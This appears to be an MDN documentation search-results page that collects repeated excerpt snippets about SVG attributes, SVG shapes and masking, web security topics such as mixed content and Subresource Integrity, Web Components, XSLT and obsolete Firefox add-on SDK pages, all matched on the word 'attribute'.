...the initial value zero for each panose digit means "any", i.e. ...
... number of a font face. panose-1 is an industry standard truetype font classification and matching technology. the panose system consists of a set of ten numbers that categorize the key
attributes of a latin typeface, a classification procedure for creating those numbers, and mapper software that determines the closest possible font match given a set of typefaces. only one element is using this
attribute: <font-face> usage notes value <integer>{10} default value 0 0 0 0 0 0 0 0 0 0 animatable no <integer>{10} this value specifies a panose-1 number and consists of ten decimal integers, separated by whitespace. the initial value zero for each panose digit means "any", i.e. all fonts will match the panose number if this value is used. specifications ...
path - SVG: Scalable Vector Graphics
the path
attribute has two different meanings, either it defines a text path along which the characters of a text are rendered, or a motion path along which a referenced element is animated. two elements are using this
attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog. </textpath> </text> </svg> animatemotion for <animatemotion>, path defines the motion path, expressed in the same format and interpreted the same...
...ranslation along the x- and y-axes of the current user coordinate system by the x and y values computed over time. value <path-data> default value none animatable no <path-data> this value defines the motion path along which the referenced element is animated. for detailed information about the commands that can be used, see the explanation for the d
attribute. textpath for <textpath>, path defines the path onto which the glyphs of a <text> element will be rendered. an empty string indicates that there is no path data for the element. this means that the text within the <textpath> element does not render or contribute to the bounding box of the <text> element. if the
attribute is not specified, the path specified in href is used instead. v...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'path for <textpath>' in that specification. candidate recommendation initial definition for <textpath> svg animations level 2the definition of 'path for <animatemotion>' in that specification. ...
r - SVG: Scalable Vector Graphics
the r
attribute defines the radius of a circle. ...
... the r
attribute defines the radius of a circle. ...
... x="220" y="120" width="60" height="60" fill="url(#mygradient100)" /> </svg> circle for <circle>, r defines the radius of the circle and therefor its size. with a value lower or equal to zero the circle won't be drawn at all. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, r is a geometry property meaning this
attribute can also be used as a css property for circles. radialgradient for <radialgradient>, r defines the radius of the end circle for the radial gradient. the gradient will be drawn such that the 100% gradient stop is mapped to the perimeter of this end circle. a value of lower or equal to zero will cause the area to be painted as a single color using the color and opacity of the last gradient <stop...
scale - SVG: Scalable Vector Graphics
the scale
attribute defines the displacement scale factor to be used on a <fedisplacementmap> filter primitive. the amount is expressed in the coordinate system established by the primitiveunits
attribute on the <filter> element. ...
... the scale
attribute defines the displacement scale factor to be used on a <fedisplacementmap> filter primitive. the amount is expressed in the coordinate system established by the primitiveunits
attribute on the <filter> element. ...
...ircle cx="100" cy="100" r="80" style="filter: url(#displacementfilter);""/> <circle cx="100" cy="100" r="80" style="filter: url(#displacementfilter2); transform: translatex(240px);""/> </svg> usage notes value <number> default value none animatable yes <number> this value defines the scale factor for the displacement. when the value of this
attribute is 0, this operation has no effect on the source image. specifications specification status comment filter effects module level 1the definition of 'scale' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'scale' in that specification. recommendation initial definition ...
spreadMethod - SVG: Scalable Vector Graphics
the spreadmethod
attribute determines how a shape is filled beyond the defined edges of a gradient. two elements are using this
attribute: <lineargradient> and <radialgradient> context notes value pad | reflect | repeat initial value pad animatable yes pad this value indicates that the final color of the gradient fills the shape beyond the gradient's edges. reflect this value indicates that the gradient repeats in reverse beyond its edges. repeat this value specifies that the gradient repeats in the original order beyond its edges. defining a gradient's edges by default, a gradient reaches to the edges of the shape being filled. to see the effects of this
attribute, you will need to set the size of the gradient smaller than the shape. in the...
...t this value specifies that the gradient repeats in the original order beyond its edges. defining a gradient's edges by default, a gradient reaches to the edges of the shape being filled. to see the effects of this
attribute, you will need to set the size of the gradient smaller than the shape. in the case of a linear gradient, the edges may be defined as a rectangle by the x1, x2, y1 and y2
attributes. in the case of a radial gradient, the edges may be defined as outer and inner circles by the cx, cy and r (outer) and fx, fy and fr (inner)
attributes. examples of spreadmethod with linear gradients svg <svg width="220" height="150" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="padgradient" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuc...
... for <lineargradient>' in that specification. recommendation initial definition for <lineargradient> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "svg.
attributes.presentation.spreadmethod" (depth: 1) to the mdn compatibility data repository. ...
stroke-opacity - SVG: Scalable Vector Graphics
the stroke-opacity
attribute is a presentation
attribute defining the opacity of the paint server (color, gradient, pattern, etc) applied to the stroke of a shape. note: as a presentation
attribute stroke-opacity can be used as a css property. ...
... the stroke-opacity
attribute is a presentation
attribute defining the opacity of the paint server (color, gradient, pattern, etc) applied to the stroke of a shape. note: as a presentation
attribute stroke-opacity can be used as a css property. ...
...er, it is not widely supported yet (see browser compatibility below) as a consequence, it is best practices to set opacity with a value in the range [0-1]. it's important to know that the stroke partially covers the fill of a shape, so a stroke with an opacity different than 1 will partially show the fill underneath. to avoid this effect, it is possible to apply a global opacity with the opacity
attribute or to put the stroke behind the fill with the paint-order
attribute. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for a...
target - SVG: Scalable Vector Graphics
the target
attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. ...
... the target
attribute should be used when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. ...
...d when there are multiple possible targets for the ending resource, such as when the parent document is embedded within an html or xhtml document, or is viewed with a tabbed browser. ...
unicode - SVG: Scalable Vector Graphics
if a character is provided, then this glyph corresponds to the given unicode character. if multiple characters are provided, then this glyph corresponds to the given sequence of unicode characters. one use of a sequence of characters is ligatures. for example, if unicode="ffl", then the given glyph will be used to render the sequence of characters "f", "f", and "l". it is often useful to refer to characters using xml character references expressed in hexadecimal notation or decimal notation. ...
...ill be used to render the sequence of characters "f", "f", and "l". it is often useful to refer to characters using xml character references expressed in hexadecimal notation or decimal notation. for example, unicode="ffl" could be expressed as xml character references in hexadecimal notation as unicode="ffl" or in decimal notation as unicode="ffl". ...
...sing xml character references expressed in hexadecimal notation or decimal notation. for example, unicode="ffl" could be expressed as xml character references in hexadecimal notation as unicode="ffl" or in decimal notation as unicode="ffl". the unicode
attribute contributes to the process for deciding which glyph(s) are used to represent which character(s). if the
attribute is not provided for a given <glyph>, then the only way to use this glyph is via an <altglyph> reference. only one element is using this
attribute: <glyph> context notes value <string> default value none animatable no <string> this value specifies one or more unicode characters corresponding to a glyph. specifications specification ...
v-hanging - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-hanging' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-hanging' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-hanging' in that specification. ...
v-ideographic - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-ideographic' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-ideographic' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-ideographic' in that specification. ...
v-mathematical - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-mathematical' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-mathematical' in that specification. ...
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-mathematical' in that specification. ...
values - SVG: Scalable Vector Graphics
the values
attribute has different meanings, depending upon the context where itʼs used, either it defines a sequence of values used over the course of an animation, or itʼs a list of numbers for a color matrix, which is interpreted differently depending on the type of color change to be performed. five elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <fecolormatrix> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, values is a list of values defining the sequence of values over the course of the animation. if this
attribute is specified, any from, to, and by
attribute values set on the element are ignored. value <list-of-values> default valu...
...ning the sequence of values over the course of the animation. if this
attribute is specified, any from, to, and by
attribute values set on the element are ignored. value <list-of-values> default value none animatable no <list-of-values> the value holds a semicolon-separated list of one or more values. the type of the values is defined by the href and
attributename
attributes. fecolormatrix for the <fecolormatrix> element, values is a list of numbers interpreted differently depending on the value of the type
attribute. value <list-of-numbers> default value if type="matrix", identity matrix, if type="saturate", 1, resulting in identity matrix, if type="huerotate", 0, resulting in identity matrix animatable ...
...a34), separated by whitespace and/or a comma. for type="saturate", values is a single real number value (0 to 1). for type="huerotate", values is a single one real number value (degrees). for type="luminancetoalpha", values is not applicable. ...
visibility - SVG: Scalable Vector Graphics
the visibility
attribute lets you control the visibility of graphical elements. with a value of hidden or collapse the current graphics element is invisible. note: if the visibility
attribute is set to hidden on a text element, then the text is invisible but still takes up space in text layout calculations. depending on the value of
attribute pointer-events, graphics elements which have their visibility
attribute set to hidden still might receive events. note: as a presentation
attribute, visibility can be used as a css property. see the css visibility property for more information. ...
... a text element, then the text is invisible but still takes up space in text layout calculations. depending on the value of
attribute pointer-events, graphics elements which have their visibility
attribute set to hidden still might receive events. note: as a presentation
attribute, visibility can be used as a css property. see the css visibility property for more information. ...
...den"/> </g> </svg> usage notes value visible | hidden | collapse default value visible animatable yes visible this value indicates that the element will be painted. hidden this value indicates that the element will not be painted. though it is still part of the rendering tree, i.e. it may receive pointer events depending on the pointer-events
attribute, may receive focus depending on the tabindex
attribute, contributes to bounding box calculations and clipping paths, and does affect text layout. collapse this value is equal to hidden. example the following example toggles the css visibility of the svg image path. html <button id="nav-toggle-button" > <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewbox="0 0 24 24" cla...
widths - SVG: Scalable Vector Graphics
if the range is omitted, a range of u+0-7fffffff is assumed which covers all characters and their glyphs. if not enough glyph widths are given, the last in the list is replicated to cover that range. if too many widths are provided, the extras are ignored. ...
... if the range is omitted, a range of u+0-7fffffff is assumed which covers all characters and their glyphs. if not enough glyph widths are given, the last in the list is replicated to cover that range. if too many widths are provided, the extras are ignored. ...
... if the range is omitted, a range of u+0-7fffffff is assumed which covers all characters and their glyphs. if not enough glyph widths are given, the last in the list is replicated to cover that range. if too many widths are provided, the extras are ignored. ...
xlink:title - SVG: Scalable Vector Graphics
the xlink:title
attribute is used to describe the meaning of a link or resource in a human-readable fashion. the use of this information is highly dependent on the type of processing being done. it may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource. note: new content should use a <title> child element rather than a xlink:title
attribute. ...
...t on the type of processing being done. it may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource. note: new content should use a <title> child element rather than a xlink:title
attribute. ...
...ntext value <anything> default value none animatable no <anything> this value specifies the title used to describe the meaning of the link or resource. specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specification. candidate recommendation deprecated the
attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification. recommendation initial definition ...
xml:lang - SVG: Scalable Vector Graphics
<svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element. ...
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element. ...
...a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g. en-us for us english or de-at for austrian german. specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:lang' in that specification. candidate recommendation made the lang
attribute (without namespace) available on all elements and defined the interaction between both. scalable vector graphics (svg) 1.1 (second edition)the definition of 'xml:lang' in that specification. recommendation initial definition ...
Specification Deviations - SVG: Scalable Vector Graphics
there are a few places where we have consciously decided to make gecko deviate from or extend the svg specification. this page lists those deviations/extensions and our reasoning for them. the 'class' and 'style'
attributes unlike html and mathml, the svg specification does not specify the 'style' and 'class'
attributes on all svg elements. nevertheless, to allow mozilla to more cleanly share internal 'class' and 'style' related code, we will implement these
attributes on all svg elements as of firefox 3. ...
... specification does not specify the 'style' and 'class'
attributes on all svg elements. nevertheless, to allow mozilla to more cleanly share internal 'class' and 'style' related code, we will implement these
attributes on all svg elements as of firefox 3. in general this change will not be visible to svg authors (the elements for which the svg specification does not define the 'class' and 'style'
attribute are elements that are not displayed directly). however, there are two exceptions. extending the 'class'
attribute to apply to all svg elements will allow svg authors to use the selectors api to select any svg element based on class. this seems like a good thing. requiring svg authors to know which elements can and cannot take a 'class'
attribute would just put an extra burden on them. extending t...
...ts that are not displayed directly). however, there are two exceptions. extending the 'class'
attribute to apply to all svg elements will allow svg authors to use the selectors api to select any svg element based on class. this seems like a good thing. requiring svg authors to know which elements can and cannot take a 'class'
attribute would just put an extra burden on them. extending the 'style'
attribute to apply to all svg elements should only really be visible to svg authors if they call viewcss.getcomputedstyle on the element or one of its descendants. since these elements and their descendants are not displayed, it seems unlikely that anyone will either specify 'style' or call getcomputedstyle on them. note that this extension does not mean that we add a css::cssstyledeclaration 'style' prope...
Basic shapes - SVG: Scalable Vector Graphics
the one on the right has its rx and ry parameters set, giving it rounded corners. if they're not set, they default to 0. <rect x="10" y="10" width="30" height="30"/> <rect x="60" y="10" rx="10" ry="10" ...
...="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180" stroke="green" fill="transparent" stroke-width="5"/> <path d="m20,230 q40,205 50,230 t90,230" fill="none" stroke="blue" stroke-width="5"/> </svg> note: the stroke, stroke-width, and fill
attributes are explained later in the tutorial. rectangle the <rect> element draws a rectangle on the screen. there are 6 basic
attributes that control the position and shape of the rectangles on screen. the one on the right has its rx and ry parameters set, giving it rounded corners. if they're not set, they default to 0. <rect x="10" y="10" width="30" height="30"/> <rect x="60" y="10" rx="10" ry="10" width="30" height="30"/> x the x position of the top left corner of the rectangle. y the y position of the top left corner o...
...the positions of two points as parameters and draws a straight line between them. <line x1="10" x2="50" y1="110" y2="150"/> x1 the x position of point 1. y1 the y position of point 1. x2 the x position of point 2. y2 the y position of point 2. polyline a <polyline> is a group of connected straight lines. since the list of points can get quite long, all the points are included in one
attribute: <polyline points="60, 110 65, 120 70, 115 75, 130 80, 125 85, 140 90, 135 95, 150 100, 145"/> points a list of points. each number must be separated by a space, comma, eol, or a line feed character. each point must contain two numbers: an x coordinate and a y coordinate. so, the list (0,0), (1,1), and (2,2) would be written as 0, 0 1, 1 2, 2. polygon a <polygon> is similar to a <poly...
Clipping and masking - SVG: Scalable Vector Graphics
circle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <clippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </clippath> </defs> <circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted. the
attribute clip-path references a <clippath> element with a single rect element. this rectangular on its own would paint the upper half of the canvas black. note, that the clippath element is usually placed in a defs section. the rect will not be painted, however. instead its pixel data will be used to determine, which pixels of the circle "make it" to the final rendering. since the rectangle covers only t...
...white" /> </lineargradient> <mask id="mask"> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" /> </mask> </defs> <rect x="0" y="0" width="200" height="200" fill="green" /> <rect x="0" y="0" width="200" height="200" fill="red" mask="url(#mask)" /> </svg> you see a green-filled rect at the lowest layer and on top a red-filled rect. the latter has the mask
attribute pointing to the mask element. the content of the mask is a single rect element, that is filled with a black-to-white gradient. as a result the pixels of the red rectangle use the luminance value of the mask content as the alpha value (the transparency), and we see a green-to-red gradient as a result: screenshotlive sample transparency with opacity there is a simple possibility to set the trans...
...the mask is a single rect element, that is filled with a black-to-white gradient. as a result the pixels of the red rectangle use the luminance value of the mask content as the alpha value (the transparency), and we see a green-to-red gradient as a result: screenshotlive sample transparency with opacity there is a simple possibility to set the transparency for a whole element. it's the opacity
attribute: <rect x="0" y="0" width="100" height="100" opacity=".5" /> the above rectangle will be painted half-transparent. for the fill and stroke there are two separate
attributes, fill-opacity and stroke-opacity, that control each of those property opacities separately. note, that the stroke will be painted on top of the filling. hence, if you set a stroke opacity on an element, that also has a fill,...
Mixed content - Web security
so infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a website. if the attacker observes http requests to certain images, they could determine which webpage the user is visiting. passive content list this section lists all types of http requests which are considered passive content: <img> (src
attribute) <audio> (src
attribute) <video> (src
attribute) <object> subresources (when an <object> performs http requests) mixed active content mixed active content is content that has access to all or parts of the document object model of the https page. this type of mixed content can alter the behavior of the https page and potentially steal sensitive data from the user. hence, in addition to the r...
...r private data visible only when authenticated. if the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies from those sites. ...
...ly when authenticated. if the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies from those sites. active content examples this section lists some types of http requests which are considered active content: <script> (src
attribute) <link> (href
attribute) (this includes css stylesheets) <iframe> (src
attribute) xmlhttprequest requests fetch() requests all cases in css where a <url> value is used (@font-face, cursor, background-image, and so forth). <object> (data
attribute) navigator.sendbeacon (url
attribute) other resource types like web fonts and workers may be considered active mixed content, as they are in chrome. warnings in web co...
How to turn off form autocompletion - Web security
values for such fields, even if the browser's autocomplete feature is enabled. note that the wcag 2.1 success criterion 1.3.5: identify input purpose does not require that autocomplete/autofill actually work - merely that form fields that relate to specific personal user information are programmatically identified. ...
...actually work - merely that form fields that relate to specific personal user information are programmatically identified. this means that the criterion can be passed (by adding the relevant autocomplete
attributes to individual form fields) even when autocompletion for the form itself has been turned off. ...
...owser. it stops the browser from caching form data in the session history. when form data is cached in session history, the information filled in by the user is shown in the case where the user has submitted the form and clicked the back button to go back to the original form page. if a browser keeps on making suggestions even after setting autocomplete to off, then you have to change the name
attribute of the input element. the autocomplete
attribute and login fields modern browsers implement integrated password management: when the user enters a username and password for a site, the browser offers to remember it for the user. when the user visits the site again, the browser autofills the login fields with the stored values. additionally, the browser enables the user to choose a master passw...
Subresource Integrity - Web security
re) have been delivered without a third-party having injected any additional content into those files — and without any other changes of any kind at all having been made to those files. using subresource integrity you use the subresource integrity feature by specifying a base64-encoded cryptographic hash of a resource (file) you’re telling the browser to fetch, in the value of the integrity
attribute of any <script> or <link> element. an integrity value begins with at least one string, with each string including a prefix indicating a particular hash algorithm (currently the allowed prefixes are sha256, sha384, and sha512), followed by a dash, and ending with the actual base64-encoded hash. note: an integrity value may contain multiple hashes separated by whitespace. a resource will be load...
... the https://example.com/example-framework.js script, the browser must first compare the script to the expected hash, and verify that there's a match. ...
...ple-framework.js script, the browser must first compare the script to the expected hash, and verify that there's a match. <script src="https://example.com/example-framework.js" integrity="sha384-oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc" crossorigin="anonymous"></script> note: for more details on the purpose of the crossorigin
attribute, see cors settings
attributes. how browsers handle subresource integrity browsers handle sri by doing the following: when a browser encounters a <script> or <link> element with an integrity
attribute, before executing the script or before applying any stylesheet specified by the <link> element, the browser must first compare the script or stylesheet to the expected hash given in the integrity value. note: for subre...
Web Components
cycle callbacks special callback functions defined inside the custom element's class definition, which affect its behavior: connectedcallback: invoked when the custom element is first connected to the document's dom. disconnectedcallback: invoked when the custom element is disconnected from the document's dom. adoptedcallback: invoked when the custom element is moved to a new document.
attributechangedcallback: invoked when one of the custom element's
attributes is added, removed, or changed. extensions for creating custom built-in elements the is global html
attribute: allows you to specify that a standard html element should behave like a registered custom built-in element. the "is" option of the document.createelement() method: allows you to create an instance ...
...is used inside (so you can select a custom element from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the dom hierarchy. css pseudo-elements pseudo-elements relating specifically to custom elements: ::part: represents any element within a shadow tree that has a matching part
attribute. shadow dom shadowroot represents the root node of a shadow dom subtree. documentorshadowroot a mixin defining features that are available across document and shadow roots. element extensions extensions to the element interface related to shadow dom: the element.attachshadow() method attaches a shadow dom tree to the specified element. the element.shadowroot property returns t...
...nitially loaded, but can be displayed at runtime using javascript, mainly used as the basis of custom element structures. the associated dom interface is htmltemplateelement. <slot> a placeholder inside a web component that you can fill with your own markup, which lets you create separate dom trees and present them together. the associated dom interface is htmlslotelement. the slot global html
attribute assigns a slot in a shadow dom shadow tree to an element. slotable a mixin implemented by both element and text nodes, defining features that allow them to become the contents of an <slot> element. the mixin defines one
attribute, slotable.assignedslot, which returns a reference to the slot the node is inserted in. element extensions extensions to the element interface related to slots: ...
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
ction, on the other hand, is associated with a template. a stylesheet may include several templates. a third type of element, not discussed here, is the literal result element (lre). an lre also appears in a template. it consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an html conversion stylesheet. on a related note, any
attribute in an lre and some
attributes of a limited number of xslt elements can also include what is known as an
attribute value template. an
attribute value template is simply a string that includes an embedded xpath expression which is used to specify the value of an
attribute. at run-time the expression is evaluated and the result of the evaluation is substituted for the xpath expression. for example, ...
...sume that a variable "image-dir" is defined as follows: <xsl:variable name="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional
attributes, a description of type and position, its source in the w3c recommendation and an explanation of the degree of present gecko support. use the {{listsubpages}} macro once the bcd for <xsl:fallback>, <xsl:import>, <xsl:namespace-alias>, <xsl:number>, <xsl:output>, <xsl:stylesheet>, <xsl:text> and <xsl:value-of> is fully migrated. <xsl:apply-imports><xsl:apply-templates><xsl:
attribute-set><xsl:att...
...:element><xsl:fallback><xsl:for-each><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:
attribute> <xsl:
attribute-set> <xsl:call-template> <xsl:choose> <xsl:comment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <x...
An Overview - XSLT: Extensible Stylesheet Language Transformations
el for transformation is that one xml document is used to transform another xml document. an xslt stylesheet is marked as such by the inclusion of a standard xslt heading. the outermost element in an xslt stylesheet must be the <xsl:stylesheet> element (an acceptable alternate is the <xsl:transform> element). this element will include at least one namespace declaration and the mandatory version
attribute. other namespaces and three optional
attributes may also be included. the mandatory namespace for xslt is "http://www.w3.org/1999/xsl/transform". namespaces are the subject of a fair amount of confusion in xml. despite the fact that very often namespaces appear to be uris, they do not, in fact, refer to a resource located at that address. instead they are simply a way of specifying a unique i...
...ing "http://www.w3.org/1999/xsl/transform" repeatedly would be tedious and would render the markup difficult to read, there is a standard mechanism for assigning a shorthand name to the namespace in the stylesheet heading. thus a full example of the opening stylesheet element might look like this. <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/xsl/transform" version="1.0"> the xmlns pseudo-
attribute maps the shorthand name xsl onto the full namespace for use throughout the document that follows. thus the stylesheet element above is prefixed with xsl:. although xsl is the conventionally used shorthand name (called the prefix), it is not mandatory and it is quite possible to choose a different one. the examples in this article all assume the use of the xsl prefix. all xslt transformations are...
... parser and the processor. :netscape's uses a structure similar to the w3c dom as its tree structure, but others are possible. the only requirements concern the disposition of objects in the tree, their properties, and their relationships. the tree consists of a hierarchical framework of nodes. it can be made up of seven different types of nodes: the single root node, element nodes, text nodes,
attribute nodes, comment nodes, processing instruction nodes, and namespace nodes. at the top of the tree is the root node. the root node does not correspond to any individual part of the xml document: it represents the document as whole. below the root node are its children, which can be elements, comments, processing instructions and so on. some of those children may also have children. and this can co...
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
the following is an alphabetized and annotated list of the elements, axes, and functions from the w3c's 1.0 recommendation for xslt, as well as from the appropriate sections of the xpath recommendation. development of the xslt processor is ongoing, and this document will be updated as functionality is expanded. ...
...phabetized and annotated list of the elements, axes, and functions from the w3c's 1.0 recommendation for xslt, as well as from the appropriate sections of the xpath recommendation. development of the xslt processor is ongoing, and this document will be updated as functionality is expanded. ...
...ported) xsl:preserve-space (supported) xsl:processing-instruction xsl:sort (supported) xsl:strip-space (supported) xsl:stylesheet (partially supported) xsl:template (supported) xsl:text (partially supported) xsl:transform (supported) xsl:value-of (partially supported) xsl:variable (supported) xsl:when (supported) xsl:with-param (supported) axes ancestor ancestor-or-self
attribute child descendant descendant-or-self following following-sibling namespace (not supported) parent preceding preceding-sibling self functions boolean() (supported) ceiling() (supported) concat() (supported) contains() (supported) count() (supported) current() (supported) document() (supported) element-available() (supported) false() (supported) floor() (supported)...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
t in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of firefox, the focus is on converting it on the fly into html which can then be displayed by the browser). ...
...manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of firefox, the focus is on converting it on the fly into html which can then be displayed by the browser). ...
...ram (supported) xsl:preserve-space (supported) xsl:processing-instruction xsl:sort (supported) xsl:strip-space (supported) xsl:stylesheet (partially supported) xsl:template (supported) xsl:text (partially supported) xsl:transform (supported) xsl:value-of (partially supported) xsl:variable (supported) xsl:when (supported) xsl:with-param (supported) axes ancestor ancestor-or-self
attribute child descendant descendant-or-self following following-sibling namespace (not supported) parent preceding preceding-sibling self functions boolean() (supported) ceiling() (supported) concat() (supported) contains() (supported) count() (supported) current() (supported) document() (supported) element-available() (supported) false() (supported) floor() (supported) format-nu...
Communicating With Other Scripts - Archive of obsolete content
objects. the web content has no access to objects created by the content script, unless the content script explicitly makes them available. for more discussion and an example please see content scripts: communicating with the add-on: content script to content script. page scripts if a page includes its own scripts using <script> tags, either embedded in the page or linked to it using the src
attribute, there are a couple of ways a content script can communicate with it: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.defaultview. see the section below on using postmessage() before firefox 31. you can co...
... var event = document.createevent('customevent'); event.initcustomevent("addon-message", true, true, { hello: 'world' }); document.documentelement.dispatchevent(event); } </script> <button onclick="sendmessage()">send message</button> </body> </html> finally, the content script "listen.js" listens for the new event and retrieves the payload from its detail
attribute: window.addeventlistener("addon-message", function(event) { console.log(json.stringify(event.detail)); }, false); ...
Content Scripts - Archive of obsolete content
s: you might want to share objects between content scripts and page scripts or to send messages between them. if you need to do this, read about interacting with page scripts. ...
...ere are two important differences: first, if you define an event listener by passing it as a string into set
attribute(), then the listener is evaluated in the page's context, so it will not have access to any variables defined in the content script. for example, this content script will fail with the error "themessage is not defined": var themessage = "hello from content script!"; anelement.set
attribute("onclick", "alert(themessage);"); second, if you define an event listener by direct assignment to a global event handler like onclick, then the assignment might be overridden by the page. for example, here's an add-on that tries to add a click handler by assignment to window.onclick: var myscript = "window.onclick = function() {" + " console.log('unsafewindow.onclick: ' + window...
context-menu - Archive of obsolete content
need a tooltip: first you need a dummy menu item that will serve as a trigger and subsequently will add the tooltips to the actual menu items. it is easy to find out which menu items are constructed by the addon-sdk module because they have the class addon-context-menu-item. the difficult part it to identify those that belong to your extension. one way to achieve this it to utilize the data
attribute of item class constructor, which conveniently maps to the value
attribute of the underlying xul element. so if data consists of unique prefix and the desired tooltip text, it is just a matter of kicking in the right moment. const { getmostrecentbrowserwindow } = require("sdk/window/utils"); var cm = require("sdk/context-menu"); var uuid = require('sdk/util/uuid').uuid(); var uuidstr = uuid.num...
...escription documenttype the mime type of the document the menu was invoked in. e.g. text/html for html pages, application/xhtml+xml for xhtml, or image/jpeg if viewing an image directly. documenturl the url of the document the menu was invoked in. targetname the name of the dom element that the menu was invoked on, in lower-case. targetid the id
attribute of the element that the menu was invoked on, or null if not set. iseditable true if the menu was invoked in an editable element, and that element isn't disabled or read-only. this includes non-input elements with the contenteditable
attribute set to true. selectiontext the current selection as a text string, or null. if the menu was invoked in an input text box or area, t...
widget - Archive of obsolete content
ipt using the port.emit function receive events from the content script using the port.on function see the guide to communicating using port for details. events attach this event is emitted when a browser window is opened and a new widgetview object is created. if the widget has a content script, this event is fired only when the content script is applied according to the contentscriptwhen
attribute. arguments widgetview : the related widgetview object. click this event is emitted when the widget is clicked. arguments widgetview : listeners are passed a single argument which is the widgetview that triggered the click event. message if you listen to this event you can receive message events from content scripts associated with this widget. when a content script posts a message using s...
